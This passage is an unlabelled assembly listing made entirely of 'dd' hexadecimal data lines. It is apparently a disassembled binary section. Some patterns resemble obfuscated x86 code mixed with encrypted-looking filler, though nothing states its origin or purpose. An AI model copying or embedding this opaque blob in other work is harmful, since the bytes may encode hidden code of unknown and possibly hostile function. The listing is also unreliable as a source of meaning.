		dd 0C4A4F99h, 0E8853EB9h, 0A08EAECEh, 5647CB7Fh, 0A246B3F1h
		dd 0D3C89CFh, 1329961Ch, 0C3491EAh, 588CFA75h, 1691EA13h
		dd 4148E74Eh, 32847A4Ch, 5667907h, 51150000h, 206104F8h
		dd 0F8BA5FD3h, 0D59C71B5h, 0ADEB8E62h, 16CFA458h, 23C73270h
		dd 44B8034Eh, 9397E4A1h, 0AB4FB6FEh, 0B7E08EBFh, 0AA91EAFCh
		dd 0C225A6F1h, 960F2029h, 3919FA27h, 4DB1C0F1h,	9DE99EA6h
		dd 8F50CF73h, 384873C7h, 0E9D82C0Ah, 0A4EC8165h, 357DA25Dh
		dd 0B53653CCh, 37A00F50h, 0AE155EB3h, 9D8B931h,	0EE571F1Dh
		dd 472E180Ah, 0CC8B71ADh, 0C2000001h, 4CCB4005h, 3B68BBDAh
		dd 9A030A7Bh, 0FABFB06Dh, 0E4AB148Dh, 855A156Ch, 72BDF1BDh
		dd 6F97DB80h, 0C0B377FBh, 575B42DDh, 9DE686FDh,	0FC594008h
		dd 38374EB1h, 0F0811D4Eh, 0F0A26191h, 0A6ECA1EBh, 3B7C71h
		dd 25130000h, 722029C2h, 9DE62680h, 56D3A095h, 0AD2A9FE5h
		dd 9474BC25h, 4836A155h, 91F02F03h, 515D4E7Fh, 91F02FE6h
		dd 165D26FBh, 247DE169h, 4A3C594Dh, 9771A683h, 0D7h, 0A7B3BC4h
		dd 347FC603h, 0C37E078Bh, 0BBDC51CAh, 5D48BBA2h, 1772F78Ch
		dd 1900B43Ah, 0DB8E2A95h, 72033797h, 367DFA5h, 0D76DC7BEh
		dd 84B5A428h, 0DB9BA1EEh, 0EDB4BC97h, 9CE5AD72h, 0F763EE3h
		dd 0A0BABFEBh, 27C097DBh, 7CEA3218h, 533859EEh,	4CB1F313h
		dd 57AB5FD3h, 0B7A639ACh, 0B3004186h, 0B96D9CE2h, 0A0A89DE5h
		dd 0A3165CB9h, 0AC155DBAh, 73D8E1D5h, 0E6B3C233h, 0FD9A55A0h
		dd 0FE90D931h, 3EA3543h, 0D5910000h, 0A4ED8064h, 7CC6DB5Fh
		dd 5918FD31h, 31770AEEh, 8A4320C4h, 0AF43B6FCh,	0C02487CAh
		dd 1F13682Dh, 37CB3A7Ah, 337C323Bh, 2E91EAFBh, 7D3B226Dh
		dd 5111F408h, 0F13E7465h, 0EC97DB0Fh, 0FDF0864h, 0C9A597DBh
		dd 97DB0F9Eh, 81C9DF83h, 3BB2191Dh, 0A81D5B7Bh,	9B2BB24h
		dd 107C1DCAh, 2897D889h, 7838DDA4h, 970EF509h, 87991504h
		dd 5A9DE6D5h, 0B0196916h, 0BE91F0EAh, 3887C80Dh, 976A0BBFh
		dd 0BCA45D8Fh, 61B3508Eh, 5D92DDD1h, 0DB8F91F0h, 50574E57h
		dd 672EC68Eh, 7BEF631Ch, 4001C6F7h, 0FC244F3h, 2899F845h
		dd 0CD65B44Ah, 0DE1699Bh, 0B8E78BBCh, 0A597DB5Ah, 5A0D7A38h
		dd 281097DBh, 0EF8EDDA4h, 9D1A692Ah, 0C78F8C15h, 5818C17Eh
		dd 0A3CFE0E9h, 97DB0F74h, 0DA90E169h, 2455C6D9h
		dd 0E609144Eh, 0FE79E19Dh, 0F00E5BB0h, 5CA5ED91h, 0CE357EA3h
		dd 91DF451h, 40FF4003h,	0CE4D5ACEh, 5FCDBFC4h, 4A8F71A6h
		dd 0FFB3BA09h, 91F006B0h, 4CDCA5ADh, 37h, 29C225E3h, 26807220h
		dd 0AD959DE6h, 19074432h, 727B91F0h, 0F867CC95h, 42502F76h
		dd 0A6794F39h, 0D0AA71h, 3AA30000h, 5614033Ch, 4C733E8Eh
		dd 2A2B9F25h, 3B8CDFA6h, 548D0A7Bh, 55B2BB0Eh, 0E63BA40Dh
		dd 21A9569Dh, 606DE4BDh, 0A6BDC9Bh, 43FC450Dh, 7EC38D4Ah
		dd 632849C1h, 125ED223h, 97DB346Fh, 0FC3081C1h,	6FE85919h
		dd 0A6EF31B4h, 4BBE8459h, 0A7D65ACCh, 0E64009CBh, 5A25FC9Dh
		dd 0EB2FD40h, 0A9D669Ah, 0E50A6891h, 189BCEFFh,	0A6EC2950h
		dd 7C3ADF53h, 0F82BBE09h, 312C8AB1h, 22B43h, 0A7165200h
		dd 9EE5AE43h, 70BD879Ah, 299AD9BCh, 77230D5h, 0BDCB00E3h
		dd 8B6E82F7h, 0EE8367C8h, 3BDE52A9h, 7AF60A7Bh,	0F9F03F73h
		dd 32ED91EAh, 6976EFE3h, 8CF1B3E4h, 5CE69F13h, 0B35839B3h
		dd 896C80F5h, 947178C9h, 591D64CBh, 98EDAB90h, 0C225AAF9h
		dd 0D9266FACh, 0DB0F62ADh, 3D84CC97h, 0F67A0C82h, 6D575B42h
		dd 789DE626h, 0E397E4A1h, 19C10A74h, 5EBD91F0h,	795D2FB4h
		dd 3B871A6h, 0D7000001h, 37E76EFh, 0B0E4DB52h, 56C34E1h
		dd 0E9B4919Ah, 911986h,	7FF84D0Bh, 0B519D54Eh, 1F692CFDh
		dd 36053886h, 0EBAB97DBh, 0C383669Ah, 0D7C8C572h, 0A4C03372h
		dd 97DB097Bh, 0E8A3F266h, 3F737AF5h, 9DE64265h,	7FA8C6F7h
		dd 6291F03Dh, 1941A7FEh, 3077D4E5h, 0E0C7BEC7h,	0C9A55E4Fh
		dd 0D6DE8D01h, 0E213D4ADh, 65D2C0F1h, 7891F0D3h, 0D34BB4F0h
		dd 0E25691F0h, 0D348B7FBh, 0ED5591F0h, 10782E94h, 79E29BCEh
		dd 0C8E57B31h, 54E834Ah, 0D981E7BEh, 5D2D6BD0h,	0DD56E651h
		dd 0C377FB97h, 0B90C4A2Fh, 0B1C2A50Eh, 0DDAB968Ah, 0FCh
		dd 9296E7A3h, 0B549B6FFh, 0CF238ED0h, 0E4186B2Ah, 32F64301h
		dd 0C88EFC51h, 99E4B97Dh, 7A3FD256h, 4C14E90Dh,	240501E5h
		dd 0EAF8014Eh, 10031C91h, 1087D3Bh, 0E2B07CC4h,	97DB0FB5h
		dd 833CA0A8h, 3980760Fh, 80EAFC80h, 5D24AB63h, 95D8F8B8h
		dd 0B125AD2Ah, 7B3B2E7Dh, 9C12030Ah, 97DB0F53h,	9F131A4Eh
		dd 97DB0F50h, 0C57C054Dh, 9ED541Ch, 0F1F8736Ah,	0E91DD2BDh
		dd 525B0F9Dh, 0DD5AAFF5h, 0CC154C55h, 0CF0C3D84h, 96643D8Ah
		dd 5B42B3F3h, 0B9A1D7A2h, 59C10BDh, 0E58F3C4Ah,	0D53235E2h
		dd 3A8BCBC1h, 126323C6h, 571DFAEBh, 1B5986E2h, 0AEF7F21Dh
		dd 8A0B3F41h, 6AE4B12Ch, 0DB96EF33h, 4BF43F06h,	2874ED9Eh
		dd 14E2473h, 1CF21D4Fh,	3D57AD54h, 0D6BC93E2h, 8B5EA2E2h
		dd 1D5E21DBh, 5B3AAE64h, 796A53D7h, 1D25CA35h, 1263D7F2h
		dd 4BF43D05h, 33Dh, 0A609D200h,	910E7F3Bh, 3EB90848h, 0B02F9CD9h
		dd 5CDB246Fh, 0CF48BDFBh, 7EF94C0Ah, 0EE69DA99h, 9D1A6729h
		dd 0BB4FB44h, 0E08950B3h, 3561BE56h, 0CE811042h, 4D720A26h
		dd 9EC6814Eh, 1A28DC0h,	0E8835EF0h, 24048704h, 34B5685Ch
		dd 2C890000h, 3F806824h, 0C890000h, 68535724h, 0B4D36CCh
		dd 0BC3815Bh, 89FAE4B7h, 0FD895BDFh, 59CE685Fh,	24890000h
		dd 24048324h, 0EC815904h, 4, 8F242C89h,	0C8B0841h, 0E3895324h
		dd 4C381h, 0C3830000h, 241C8704h, 2434FF5Ch, 4C4815Dh
		dd 0E9000000h, 0FFFA56C7h, 96DBE8FEh, 3BD3A029h, 0B9B86256h
		dd 30631F8h, 3CE0FFC5h,	0E0586D6Ah, 946F168Dh, 3D70334Dh
		dd 0E819F248h, 13h, 36E745DDh, 49BE58FAh, 0EE21804Ch, 3DA94A45h
		dd 807010E8h, 0F58B9D1h, 0E8Ah,	0D3816000h, 3C43B140h
		dd 880Fh, 81610000h, 6C2CC0h, 11E900h, 67410000h, 19750285h
		dd 0E5D98BEh, 6011F0D0h, 0BA7D8A40h, 69C0F606h,	0ECCBF281h
		dd 0E86069C0h, 13h, 8A0632C1h, 35B9243h, 0ED0A49D4h, 4CDE608Fh
		dd 8109FDAFh, 505E03C9h, 800F5F20h, 0
		dd 66188B61h, 8195B1BFh, 9885C3F3h, 12E8536Ah, 45000000h
		dd 118962C7h, 0D3CD1A7Fh, 0A9F6FE36h, 0D2711F11h, 0DE918h
		dd 7E730000h, 613A6F5Bh, 0F5840EC9h, 5F85E1BCh,	0F6C3815Fh
		dd 0E9298F54h, 8, 0BCFD880Dh, 0F470AFA9h, 0FFA4EB81h, 18896A94h
		dd 0F502E883h, 0EA814848h, 1, 10850Fh, 0F28B0000h, 17E9h
		dd 0A5862900h, 89DF208h, 0E9FC36DAh, 0FFFFFF85h, 0FDEE29ACh
		dd 36AC2A32h, 12E8h, 0BA2C6F00h, 1F7DC7Eh, 27477EC7h, 95A3F052h
		dd 66A5382Ch, 5B36D1B8h, 9E8h, 0E21B5A00h, 0E31A9DA4h
		dd 8B66501Ch, 0C3815EC1h, 6316h, 12E9h,	5CB3DF00h, 82D179E8h
		dd 4937BA97h, 0D6A9F5BBh, 0BF1F7DC7h, 188Ch, 138BC5B0h
		dd 81CAD480h, 0A149F1EAh, 81F08B74h, 4D365AEAh,	0EA81FC20h
		dd 6807A1A6h, 0D88052F5h, 0F038F0Ah, 48Ch, 58515600h, 3EB8358h
		dd 0C8BF0F60h, 9E9h, 0EE46F900h, 0A25EBC9Ch, 4B615662h
		dd 0EF81C68Bh, 1, 20850Fh, 0B9560000h, 4C55B48Dh, 41E959h
		dd 73E30000h, 0C3B56DABh, 0DF9CBF54h, 0EB4DAD58h, 0A229181Ch
		dd 12E9AEF3h, 2000000h,	0BF4F810Dh, 26155461h, 7D13D067h
		dd 7A9F9D73h, 0FF74E908h, 2497FFFFh, 54DAF601h,	0E52DAA34h
		dd 0E915F935h, 8D6D30AFh, 31FBFF8Dh, 0F8B0F06h,	0E9000000h
		dd 0Ah,	673768A3h, 0FD80986Bh, 8D8939E4h, 62B0EE1h, 11E9h
		dd 5652C500h, 769AB96Bh, 63E4C1Fh, 43E54B0Eh, 85C7CC57h
		dd 62B21E1h, 5924h, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 0F0C35141h, 382C95A3h, 9D890AA5h, 62B0049h
		dd 2BE585C7h, 62Bh, 89530000h, 2B09518Dh, 0B5FF5B06h, 62B0165h
		dd 2E0D852Bh, 95FF062Bh, 62B2731h, 0FDBBF0Fh, 1782h, 12E900h
		dd 52DD0000h, 8A0F85Eh,	8A979267h, 2826ACBAh, 790D0A69h
		dd 95FF006Ah, 62B2945h,	1EEBC08Bh, 0C49C56EDh, 1F24A56Ah
		dd 2792972Ah, 0FC68E2F7h, 0BB9F644Dh, 4BCA51F3h, 78FC85C1h
		dd 8D8D47ECh, 631FCB1h,	0EE18D89h, 6A062Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1A0424h, 55450000h, 3E243EC3h
		dd 16D3ADAEh, 21E185C7h, 6984062Bh, 5E90000h, 0D8000000h
		dd 8D970B57h, 2BE585C7h, 62Bh, 6A0000h,	3E856h,	5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 9D635FC3h
		dd 0FC8A9CFh, 0B5FFDABFh, 62B1A95h, 15798589h, 95FF062Bh
		dd 62B2731h, 3571B531h,	6A062Bh, 294595FFh, 0C08B062Bh
		dd 6FD70CEBh, 56D3ED06h, 3805EEAh, 8E8F46Bh, 91000000h
		dd 3B1E2C13h, 0FF4D1F3h, 0C84h,	68C0F00h, 1000000h, 2B2D81B5h
		dd 81F85E06h, 6476C6h, 9E900h, 0C960000h, 0FE9AB1FCh, 33F83472h
		dd 0EBD781D2h, 0FF1F7CD6h, 66593234h, 0C181DA8Bh, 46ED7CDh
		dd 1A9AC181h, 38BF722Ch, 817C9DBAh, 4565A2F1h, 9FE08144h
		dd 512B26D0h, 16048FFCh, 121DBD8Bh, 9D03062Bh, 62B1935h
		dd 8B03EA83h, 2B1B8D9Dh, 0E9524A06h, 5,	69A561BEh, 0FA815F0Dh
		dd 0FFFF9C68h, 33850Fh,	0BE80000h, 0F000000h, 8CD52852h
		dd 48581497h, 8E0FA2A6h, 3, 58C78B66h, 34E9h, 78F94E00h
		dd 220369C3h, 1088FA06h, 29C7C2D0h, 0EA463D67h,	0B52960AEh
		dd 62B1FE9h, 15FDBD8Bh,	0E961062Bh, 0FFFFFF63h,	0A9C22AD0h
		dd 0CAF81865h, 24254CBCh, 1CE99Fh, 0CFB70000h, 7B54h, 5	dup(0)
		dd 0CCE90000h, 68000004h, 631FED6h, 0F981DFE9h,	0FF5168FFh
		dd 0D5E90631h, 68FFF981h, 63200D9h, 0F981CBE9h,	0D5EF6CFFh
		dd 0A59BBED9h, 744A0E69h, 0C0E45FB8h, 8DB7ABC4h, 0A835E411h
		dd 0F7108CB6h, 46A15D67h, 94F32F11h, 5C3EFADCh,	3D0FA1CFh
		dd 0C64292DAh, 670271E2h, 3F55251Dh, 7645E7F5h,	263894EBh
		dd 5AFC038Ah, 0CA88F760h, 0D0E7E071h, 0C4F8613Eh, 0C3525BE7h
		dd 26E2C47Ch, 4D9AD727h, 0C6704E3Fh, 4E99818Ah,	0F23B0D53h
		dd 601FAD23h, 0AC556D3Eh, 0ED6722D8h, 0ABC7C2CBh, 53776C79h
		dd 313h, 56B54E7Fh, 36104AE6h, 399E96D5h, 0D7194EACh, 0A4B01FBBh
		dd 8AC66621h, 30F25D48h, 774CDE70h, 0AC6BF7B6h,	497FE2A1h
		dd 0A32DDC62h, 6BD50A9Eh, 913E3383h, 8974F602h,	1109689Bh
		dd 0FA6B7998h, 8D76B69Ch, 0BD0D3E8Dh, 0F66827B0h, 2632DDCCh
		dd 7C83BAA7h, 781740DEh, 0C522DEF8h, 0D91FA583h, 0CE53E77Fh
		dd 31C4A1Dh, 6570000h, 0B2A9C6C2h, 63F91692h, 0F46A15Dh
		dd 0CC92ED29h, 0CF33EFAh, 39F5CF93h, 4E4A7CDEh,	98142831h
		dd 27E3C57Fh, 20CAD675h, 5592DA3Eh, 1F6FFBDFh, 9A715711h
		dd 0C007A9B7h, 0E47A94EBh, 5074EF48h, 6EECAB34h, 2DFEC297h
		dd 41AF10Dh, 627E8A85h,	0F38ADDC3h, 0BDA5E06Fh,	6EF00F8Bh
		dd 0C8887A87h, 9C6981h,	9C9625ABh, 0EF696D25h, 263FBBC9h
		dd 0B3604A33h, 2A198h, 0B98BD000h, 93F227Dh, 0D8EE728Dh
		dd 0A480C3DCh, 714B0F68h, 0C8948B5h, 5BB4704Ah,	0AAC5C103h
		dd 0F81793B5h, 0F8A25E78h, 3FAB4553h, 5ADE92DAh, 0D6E27186h
		dd 94EBC054h, 5D9EAEB5h, 0E486923Dh, 9994EBC0h,	0A7170881h
		dd 0DC7E1D4Ah, 0ED092F29h, 0CB76B182h, 0C5C4B437h, 0CC223E4Ah
		dd 2F338ADDh, 4E7EE5A0h, 0DF82DD7Dh, 7F6D20E9h,	6D25D2D1h
		dd 0F0A69A9Bh, 0D2D55765h, 0B6A86D25h, 52B99FD9h, 0B0BADDCCh
		dd 547764EFh, 1A3h, 0D6E27176h,	94EBC054h, 0A9F83129h
		dd 0E2174AAFh, 8376946Ch, 0D17E9A47h, 0EB6129C3h, 0A6C25C94h
		dd 0DF9B0645h, 6044FFE4h, 0A688F78Bh, 0A3FE2FD0h, 20B87A1h
		dd 612BDB2h, 8AC6DA73h,	11BF0C12h, 6D3EC283h, 0AE5428C9h
		dd 898DF1E3h, 980160Fh,	6C2BE48Eh, 0B0A7E277h, 0EA233F8Ch
		dd 341Dh, 1F6FB900h, 727785D2h,	0D8AC6EAh, 2A98123Eh, 6DED6D3Fh
		dd 2EA66402h, 63FF190Eh, 8B64488h, 53FC6D3Fh, 0EF1E2034h
		dd 0A649276h, 0B2776BA2h, 0AAh,	0E1C7811Ch, 99A3B70Ah
		dd 5375EF32h, 0D6232578h, 0F37474F6h, 2AE602ACh, 0CAFC5E3Dh
		dd 8F59CDC3h, 70F094EBh, 0CECD5A56h, 0C778B197h, 0DFED7A77h
		dd 8AD94C53h, 0E473DC42h, 52A14B59h, 4AD46D39h,	0E31A3C43h
		dd 0A22D497Bh, 52670917h, 6A766D39h, 6D3952C0h,	0C856A5B5h
		dd 5C021DC1h, 0F0ACD86Ah, 68BB4A2Eh, 119E1h, 0C1035800h
		dd 91B7AAC5h, 6066FA15h, 2C084BA4h, 0F9C397F0h,	9401F03Dh
		dd 0E33CF8C2h, 324D497Bh, 809F1B2Dh, 702AE6C0h,	0C023CDDBh
		dd 0D25692D9h, 0E7D981FEh, 0B294CC2Bh, 0DF06625h, 0D4D57157h
		dd 0C7816A6Eh, 0BDB70AE1h, 9EEE1F9Bh, 71A83382h, 0ED0903F8h
		dd 3C48D762h, 94EB3FB2h, 6AAC88C7h, 0A278B3FAh,	0D8098706h
		dd 778AC611h, 39217CEBh, 8F1D8B07h, 7E6D3EF4h, 3F3633C6h
		dd 97744E0Ch, 715BBC8Bh, 6221AECAh, 43EDFBFEh, 366D3ECDh
		dd 0A11D8C28h, 0DD2E1046h, 6F3D038Eh, 2E549D05h, 7454FFh
		dd 6F420000h, 7785D21Fh, 8ADDC35Fh, 3C8368F6h, 4A7AE104h
		dd 41BDD961h, 0A3082E26h, 0CC111A2Dh, 0D6AA43EBh, 0CAE26520h
		dd 515059E1h, 0FBA63117h, 0A089642h, 0C4BA73A6h, 22043C5Bh
		dd 0FADC94EBh, 484F3A11h, 990D06D5h, 0EB6AB574h, 170EFECDh
		dd 20C57F33h, 2EEA0620h, 5AB197D1h, 15F3h, 0B3C16C00h
		dd 0E88C9439h, 949A1420h, 73EFE88Ch, 73179688h,	0DC817A5Eh
		dd 84BC03E8h, 6DF249A2h, 312D705Bh, 0F169B417h,	0B9A1FCCFh
		dd 9ED92487h, 4A0E6DBEh, 15489774h, 5008D833h, 405E089h
		dd 56000000h, 4BEh, 5EF02900h, 5C240487h, 3C4F68h, 243C8900h
		dd 2EA568h, 242C8900h, 0EDBF5756h, 890631FDh, 0F7895FFEh
		dd 4EC835Eh, 81242489h,	42404h,	505D0000h, 8150F889h, 1DED2434h
		dd 458F0625h, 8758108h,	6251DEDh, 2434FF58h, 4C4815Dh
		dd 8B000000h, 8951243Ch, 4C181E1h, 81000000h, 4C1h, 240C8700h
		dd 7D26E95Ch, 0F04AFFF9h, 0DE3FE4CBh, 0B8F0E611h, 6320217h
		dd 0E0FFC503h, 638D1F41h, 2C5F1448h, 18A2F8E9h,	5C137024h
		dd 678786A3h, 5980EBA9h, 125ED044h, 56B772F7h, 1002E759h
		dd 1B72C561h, 3968D8Dh,	6A0632h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 140424h, 51410000h, 8166EFC3h, 8974F7DFh
		dd 2B1E959Dh, 55B50106h, 89062B08h, 2B0EE18Dh, 50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1A04h, 0C3504000h
		dd 588380DEh, 8B9FA151h, 2B0055BDh, 0E185C706h,	0A4062B21h
		dd 0C7000067h, 2B2BE585h, 6, 999D8B00h,	0FF062B02h, 2B0A91B5h
		dd 7DB58B06h, 0E9062B1Bh, 0Fh, 0D6F77B6Ah, 14ACF015h, 0C21AF25Fh
		dd 0FFDCB239h, 2B273195h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 0A50F6F16h
		dd 6A48D480h, 4595FF00h, 8B062B29h, 7D3DEBC0h, 544826CCh
		dd 3BCAA122h, 2E8BB10Fh, 4623C141h, 9BB23EE0h, 0D4142C8h
		dd 5AC2D53Eh, 3E991C9h,	2FDED5A2h, 0C21F4CAEh, 0FBFBDCCh
		dd 0B3980475h, 1BD07FA7h, 6CEBBDE0h, 90C9FB1Eh,	4A68D8Dh
		dd 81660632h, 898A8AEAh, 2B0EE18Dh, 13E906h, 34730000h
		dd 932CF6BBh, 709A26Fh,	0C8368563h, 0A6EF2097h,	0E185C76Fh
		dd 18062B21h, 6A000074h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 58FC355h, 0ED407949h
		dd 8955699Dh, 2B35258Dh, 0C1858906h, 0C7062B19h, 2B2BE585h
		dd 6, 0FFFD8A00h, 2B18B9B5h, 51006A06h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 0EEB4677Ah
		dd 0F181BFA2h, 95FF1A5Eh, 62B2731h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 53C35747h, 57846075h, 0B1B53117h
		dd 6A062B11h, 4595FF00h, 8B062B29h, 0AC2CEBC0h,	0BA25A273h
		dd 4C30E85Dh, 0F24B6D79h, 43B9E26Eh, 6FC0C9CBh,	0B615E489h
		dd 0F926AF6Fh, 0E7F8ABE0h, 0D9F8DDF3h, 0BD9F56AEh, 0E8D31900h
		dd 6, 8FA60F1Ah, 0DB802AA3h, 0AFB65FCBh, 5BB4C781h, 9D8B0000h
		dd 62B2B89h, 0DD771AB8h, 0ADF0817Bh, 567BDD61h,	30798589h
		dd 0FF5E062Bh, 0AE837h,	5FAB0000h, 0D2B7C6C3h, 8C44B0EEh
		dd 213D958Bh, 595A062Bh, 8BD0C181h, 81F53D72h, 0C5A108E9h
		dd 3ACBE1Ch, 0C18150C9h, 6BADE6B7h, 38A0Fh, 8B660000h
		dd 0F5B651D8h, 9D8B078Fh, 62B24CDh, 0E801EF83h,	0Fh, 4C2201D8h
		dd 16831653h, 280A42F3h, 0E98FCA7Dh, 9,	0E090CF8Eh, 0C924DF98h
		dd 4F4F5E0Bh, 0A99D014Fh, 81062B21h, 1E8h, 14850F00h, 0F000000h
		dd 29E9DAB7h, 0AC000000h, 8107072Dh, 0FD647B81h, 89A44FE0h
		dd 2B20B195h, 0FF61E906h, 93FEFFFFh, 4B303DC1h,	0A8C12457h
		dd 0F36D514Ch, 0C4CD4543h, 12E8h, 6B366600h, 3E60AFD9h
		dd 7B966D32h
		dd 81059753h, 66396217h, 0B82BD781h, 6D958959h,	81062B16h
		dd 6FD0C1h, 21950900h, 0BE062B17h, 369ED254h, 0B68DEE81h
		dd 0B70F369Eh, 8B198BF8h, 2B2065BDh, 4EB8106h, 60507F8Fh
		dd 41DEBABFh, 0E5952960h, 61062B0Dh, 0B673C381h, 8B0F1FFFh
		dd 0Fh,	0AE9h, 0F50E2800h, 91666E8Eh, 81DED948h, 6CC87AF3h
		dd 91BD8B19h, 53062B00h, 9D01018Fh, 62B055Dh, 656E981h
		dd 850F4E7Dh, 6, 0BB59589h, 0C181062Bh,	4E7D0652h, 8850Fh
		dd 89600000h, 2B09D1BDh, 0EE836106h, 86850F01h,	29FFFFFFh
		dd 2B00B9B5h, 218D8D06h, 8B063207h, 0E18D89F3h,	6A062B0Eh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 19042444h
		dd 40000000h, 9A99C350h, 0BD78E356h, 21E185C7h,	6870062Bh
		dd 0C0810000h, 7B9B7D16h, 2BE585C7h, 62Bh, 8E0F0000h, 6
		dd 28D5B52Bh, 0B5FF062Bh, 62B0D25h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 0E4C35343h,	1812F757h, 2B98CC4Fh
		dd 71950B42h, 66062B29h, 2497CF81h, 273195FFh, 0F56062Bh
		dd 684h, 49BD8B00h, 58062B0Dh, 0DF9BD89h, 6A062Bh, 294595FFh
		dd 0C08B062Bh, 24014BEBh, 6CA3F97Bh, 421D9FF6h,	0E8577F04h
		dd 5A2BF0EAh, 0B6225338h, 6E99D39Eh, 0CEC7917Fh, 533CC000h
		dd 0CAEDC7C6h, 51AFB01Fh, 0F2EB7B4Eh, 0DC6A45CEh, 0A9C0B323h
		dd 702AFCBh, 418EDED2h,	85CB2FA1h, 2FB561EEh, 82ED4F1Fh
		dd 15E99Bh, 0DFD10000h,	6DCAh, 3 dup(0)
		dd 0E9000000h, 570h, 0BC784C11h, 0CCC8FC63h, 1F9BADB3h
		dd 0AB674100h, 0F4300A4Ch, 154DD689h, 0C298F733h, 76EB0480h
		dd 3F395652h, 103F9D19h, 0D9C76A04h, 41191F92h,	2322C781h
		dd 35BA605h, 3854EAC1h,	6EF04F9Ch, 53F5854h, 0C06A0410h
		dd 31F94EBh, 0BFB904E7h, 68EF3299h, 37287754h, 0FB63BE0Dh
		dd 1128E2C9h, 0D26BBA2Dh, 9EB8B8EEh, 3E085231h,	890413CFh
		dd 7C02E9CFh, 0DBED728Dh, 0A59FC0DFh, 6163FB46h, 9F639A8Ah
		dd 0B672560Bh, 4420FAA9h, 166167FAh, 0AD5CDCC5h, 0AB341252h
		dd 4DB3B7FCh, 0DFCD653h, 3844D37Eh, 94EB2EB6h, 3A5657CBh
		dd 94EB2EAFh, 0EE3D1B5Ah, 13F8CC93h, 481FE358h,	2B88C35h
		dd 2E9D387h, 600A8D7Ch,	47D97C7h, 74h, 4C1271C6h, 0F46CB37Ah
		dd 0A4B84D11h, 95A506A2h, 923E9279h, 8594EBC0h,	0F26A7F2Ah
		dd 0FFE31668h, 8D31150Eh, 9A71570Eh, 0E8820584h, 0E67D96DCh
		dd 1C8DB7ABh, 18Fh, 0DA814B00h,	0A7BA01EAh, 78074AA1h
		dd 0EBC0C26Ch, 62ABB794h, 2533241Fh, 94EBC08Bh,	0E7C460FEh
		dd 0D684032Eh, 8A031FECh, 62F9AD91h, 8486F562h,	86FCEC3h
		dd 54B36F9Eh, 0DAFE3A1Ch, 4E7D981h, 49A2A2B9h, 2D8145FEh
		dd 78971335h, 5E0DDEF8h, 0BB240043h, 0EBC003ADh, 21E87694h
		dd 1B447ADEh, 2AE3C57Ch, 0E590BF5Bh, 10CEF304h,	7FE82126h
		dd 0B9235F8Bh, 74DB7D97h, 8C000000h, 1359D3E1h,	322C94EBh
		dd 0D981DFFBh, 4A4904E7h, 46D83315h, 7E4D73E9h,	82D629E0h
		dd 8DA66FBCh, 5B6DF5B9h, 8CD5B05Fh, 43DFF97Bh, 1923374Ah
		dd 0D0F46FB2h, 6F490887h, 780B829Ch, 77A3679Eh,	7D96E00Bh
		dd 52B3h, 0D9811F00h, 0EE19A034h, 0D911B73Bh, 9E14F137h
		dd 0A605A13Dh, 4601065Bh, 41EBF966h, 3494EB17h,	4A3D8E2Ah
		dd 0C1990DF1h, 819F03FFh, 0CB01EADAh, 94EBC03Eh, 59B28ACDh
		dd 806B5D02h, 15996D90h, 8DAD7E4Eh, 8F73CC71h, 96DA0763h
		dd 1BF7Dh, 811B0000h, 0BB06E5DBh, 59C84CB9h, 0EFEA486h
		dd 0EB3248E2h, 811D3D94h, 3F8CB2A6h, 74248723h,	2B64A8D7h
		dd 2220B302h, 188E72EBh, 87860244h, 71FB0937h, 494EB18h
		dd 4351FE1Ah, 8AC60142h, 0F8AD545h, 8D3EA748h, 6134BC14h
		dd 5158E6C5h, 0E3C57FC2h, 9FAD3827h, 6D3E6CEDh,	0BDB1FE60h
		dd 0E9C2FDF1h, 0ED67BA73h, 5CECE0CBh, 396D3EDBh, 0FF9A4004h
		dd 0FB876458h, 5375EF32h, 1E383857h, 0D0F66ECDh, 0A8631887h
		dd 6ED9FF79h, 810881F9h, 0C6BAA3F2h, 4A4660E0h,	6C0D1955h
		dd 138CD77h, 6F090000h,	1685D21Fh, 6960AE4Ah, 0DA75B4AEh
		dd 3A0C504Fh, 34D4DDF3h, 84AB8AC6h, 3E27F678h, 48978B6Dh
		dd 3E27B23Ch, 3F5BC76Dh, 0D814E590h, 0AF459EDEh, 15A0AF7Eh
		dd 3E7C6507h, 8706186Dh, 22DEF878h, 3E005635h, 455C4DEDh
		dd 8B9DF603h, 4201B157h, 0FE76C526h, 0BBA0F3D8h, 4761E3C7h
		dd 171A544Bh, 0DDB8776Ch, 0E4DA7E9Bh, 3BB44148h, 16000000h
		dd 84D3206Fh, 7CFE8AF9h, 0EB23454Ch, 0F4355173h, 0EB1E32DCh
		dd 0F0DB4714h, 0EB1E52DCh, 11F50C14h, 352C0473h, 5C68F713h
		dd 94EB1EB2h, 80C298C7h, 3FFB172Bh, 8D14h, 2710200h, 0AC2EA464h
		dd 9CA2B642h, 28988900h, 9E6D5708h, 89251F43h, 9BD6E26Dh
		dd 0FA8AC6E5h, 38388764h, 92D2B11Eh, 6E8975B4h,	0D5FBD0F6h
		dd 6D3EE746h, 0DE831E2Dh, 463A23EAh, 0CAC6E060h, 51FEF343h
		dd 8EE3B43h, 0FFCC5273h, 3B55A0A0h, 0EF26073Ch,	0C9B423BFh
		dd 90272A8Bh, 99C0D28h,	6222E61Fh, 28C2EE12h, 5D67481Ch
		dd 0C9FF623Dh, 97C05CE2h, 1C4C46E8h, 204C9416h,	6748ED8Eh
		dd 0CAC35FC3h, 0F4253947h, 0E678797Eh, 1F6FB62Ah, 677785D2h
		dd 528ADDD9h, 8A8FC427h, 0BBAAB6E0h, 69ED5AEDh,	8063AA9Fh
		dd 76EE4D9Eh, 3CCB5450h, 26829E10h, 0D5EF6F6Dh,	6EB178E6h
		dd 99F903F6h, 63E4DAB1h, 52E8E4C7h, 0B31959B1h,	1B3695AFh
		dd 3F09630Dh, 2F081619h, 0D3BB1034h, 1283665Ah,	0C7812519h
